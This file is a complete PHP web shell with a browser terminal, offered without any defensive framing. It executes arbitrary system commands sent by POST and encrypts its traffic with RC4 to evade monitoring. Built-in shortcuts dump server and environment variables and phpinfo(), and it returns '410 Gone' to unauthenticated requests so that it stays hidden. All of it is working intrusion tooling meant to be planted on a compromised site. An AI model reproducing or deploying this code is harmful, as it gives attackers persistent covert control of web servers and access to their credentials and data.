<?php

function encrypt_output($content) {
    global 
$secret;
    
$content str_pad($content,128,' ');
    
$_SESSION['secret'] = rc4($secret,$secret);
    return 
bin2hex(rc4($_SESSION['secret'],$content));
}

function 
rc4($key,$pt) {
    if (!
strlen($key) || !strlen($pt)) return $pt;
    
$s = array();
    for (
$i=0$i<256$i++) {
        
$s[$i] = $i;
    }
    
$j 0;
    
$x;
    for (
$i=0$i<256$i++) {
        
$j = ($j $s[$i] + ord($key[$i strlen($key)])) % 256;
        
$x $s[$i];
        
$s[$i] = $s[$j];
        
$s[$j] = $x;
    }
    
$i 0;
    
$j 0;
    
$ct '';
    
$y;
    for (
$y=0$y<strlen($pt); $y++) {
        
$i = ($i 1) % 256;
        
$j = ($j $s[$i]) % 256;
        
$x $s[$i];
        
$s[$i] = $s[$j];
        
$s[$j] = $x;
        
$ct .= $pt[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
    }
    return 
$ct;
}
if (
$_POST['cmd']) {    
    
ob_start('encrypt_output');
    
session_start();
    if (!@
$_SESSION['secret']) {
        
header('Status: 410 Gone',true,410);
        exit;
    }
    
$secret rc4($_SESSION['secret'],$_SESSION['secret']);
    
    
$cmd trim(rc4($secret,pack('H*',$_POST['cmd'])));
    
    if (
strpos($cmd,'[OK]') !== 0) {
        
header('Status: 400 Bad Request',true,400);
        exit;    
    }
    
    
$cmd substr($cmd,4);
    
    if (!
$cmd) exit;
            
    switch (
$cmd) {
        case 
'!s':
            
print_r($_SERVER);
            exit;
        case 
'!e':
            
print_r($_ENV);
            exit;
        case 
'!i':
            
phpinfo();
            exit;
        case 
'!q':
            
session_destroy();
            
session_regenerate_id(true);
            
header('Status: 410 Gone',true,410);
            exit;
        default:
            
$cd stripos($cmd,'cd ') === 0;
    }
    
    
$cwd $_SESSION['cwd'] ? $_SESSION['cwd'] : dirname(__FILE__);
    
    
$io = array();
    
$output '';
    
$p proc_open($cd "$cmd ; pwd" $cmd,
                   array(
=> array('pipe''w'),
                         
=> array('pipe''w')),
                   
$io,$cwd,array('ROWS'=>24,'COLS'=>80,'TERM'=>'xterm-color'));

    while (!
feof($io[1])) {
        
$output .= htmlspecialchars(fgets($io[1]),ENT_COMPAT,'UTF-8');
    }
    if (
$cd) {
        
$output explode("\n",trim($output));
        
$_SESSION['cwd'] = array_pop($output);
        
$output implode("\n",$output) . "\n";
    }
    while (!
feof($io[2])) {
        
$output .= htmlspecialchars(fgets($io[2]),ENT_COMPAT,'UTF-8');
    }
    
    
$output trim($output);
    
    
fclose($io[1]);
    
fclose($io[2]);
    
proc_close($p);
    
printf("<b>%s\$</b> %s\n%s\n",$cwd,htmlspecialchars($cmd,ENT_COMPAT,'UTF-8'),$output);
    exit;
}
session_start();
$secret sha1(uniqid(mt_rand(),true).serialize($_SERVER)) . sha1(session_id().uniqid(mt_rand(),true));
$_SESSION = array('cwd'=>dirname(__FILE__),'secret'=>pack('H*',$secret));
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>Shell</title>
        <script type="text/javascript">
        var _bin2hex = [
            '0', '1', '2', '3', '4', '5', '6', '7',
            '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'
        ];
        
        var _hex2bin = [
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 0, 0, 0, 0, 0, // 0-9
             0,10,11,12,13,14,15, 0, 0, 0, 0, 0, 0, 0, 0, 0, // A-F
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0,10,11,12,13,14,15, 0, 0, 0, 0, 0, 0, 0, 0, 0, // a-f
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        ];
        
        function bin2hex(str) {
            var len = str.length;
            var rv = '';
            var i = 0;
            var c;
            
            while (len-- > 0) {
                c = str.charCodeAt(i++);
        
                rv += _bin2hex[(c & 0xf0) >> 4];
                rv += _bin2hex[(c & 0x0f)];
            }
        
            return rv;
        }
        
        function hex2bin(str) {
            var len = str.length;
            var rv = '';
            var i = 0;
        
            var c1;
            var c2;
        
            while (len > 1) {
                h1 = str.charAt(i++);
                c1 = h1.charCodeAt(0);
                h2 = str.charAt(i++);
                c2 = h2.charCodeAt(0);
                
                rv += String.fromCharCode((_hex2bin[c1] << 4) + _hex2bin[c2]);
                len -= 2;
            }
        
            return rv;
        }        

        var xhr_object = null;
        var secret = hex2bin('<?php echo $secret?>');
        
        if(window.XMLHttpRequest) // Firefox
           xhr_object = new XMLHttpRequest();
        else if(window.ActiveXObject) // Internet Explorer
           xhr_object = new ActiveXObject("Microsoft.XMLHTTP");
        
        function post() {
            cmd = document.getElementById('cmd').value;
            if (!cmd) return false;
            document.getElementById('cmd').setAttribute('disabled','disabled');
            if ((command_hist.length == 0) || (command_hist[0] != cmd)) command_hist.unshift(cmd);
            current_line = -1;
            secret = rc4(secret,secret);
            cmd = '[OK]'+cmd;
            if (cmd.length < 128) cmd = cmd + Array(129-cmd.length).join(' ');
            xhr_object.open('POST','<?php echo basename(__FILE__); ?>',false);
            xhr_object.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhr_object.send('cmd='+bin2hex(rc4(secret,cmd)));
            secret = rc4(secret,secret);
            if(xhr_object.readyState == 4) {
                if (xhr_object.status != 200) {
                    r = '<i>You have been disconnected. Refresh the page to reconnect.</i>\n';                    
                }
                else {
                    r = rc4(secret,hex2bin(xhr_object.responseText)).replace(/ +$/,'');
                    document.getElementById('cmd').value= '';
                    document.getElementById('cmd').removeAttribute('disabled');
                    document.getElementById('cmd').blur();
                    document.getElementById('cmd').focus();
                }
                document.getElementById('output').innerHTML = r + document.getElementById('output').innerHTML;
            }
            return false;
        }
        
        function rc4(key,pt) {
            if ((key.length == 0) || (pt.length == 0)) return pt;
            s = new Array();
            for (var i=0; i<256; i++) {
                s[i] = i;
            }
            var j = 0;
            var x;
            for (i=0; i<256; i++) {
                j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
                x = s[i];
                s[i] = s[j];
                s[j] = x;
            }
            i = 0;
            j = 0;
            var ct = '';
            for (var y=0; y<pt.length; y++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                x = s[i];
                s[i] = s[j];
                s[j] = x;
                ct += String.fromCharCode(pt.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]);
            }
            return ct;
        }                

        var current_line = -1;
        var command_hist = new Array();
        var last = '';
        
        function key(e) {
            if (!e) var e = window.event;
            
            switch (e.keyCode) {
                case 38:
                    if (current_line < command_hist.length-1) {
                        current_line++;
                        document.getElementById('cmd').value = command_hist[current_line];        
                    }
                    break;
                case 40:
                    if (current_line == 0) {
                        current_line--;
                        document.getElementById('cmd').value = last;
                    }
                    else if (current_line > 0) {
                        current_line--;
                        document.getElementById('cmd').value = command_hist[current_line];
                    }
                    break;
                default:
                    last = document.getElementById('cmd').value;
                    break;
            }            
        }

        </script>
    </head>
    <body onload="document.getElementById('cmd').removeAttribute('disabled'); document.getElementById('cmd').focus();">
        <noscript><u><b>Javascript MUST be enabled to use this shell !</b></u></noscript>
        <form action="" method="post" onsubmit="return post();">
            <b>$</b> <input type="text" id="cmd" style="border: none; width: 90%;" autocomplete="off" disabled="disabled" onkeyup="key(event)" tabindex="1" />
        </form>
        <pre id="output">

<i><?php printf("\$ %s on %s\n",trim(shell_exec('whoami')),dirname(__FILE__)); ?>

Custom commands :

    - !s : dump $_SERVER
    - !e : dump $_ENV
    - !i : phpinfo()
    - !q : close session</i>
        </pre>
    </body>
</html>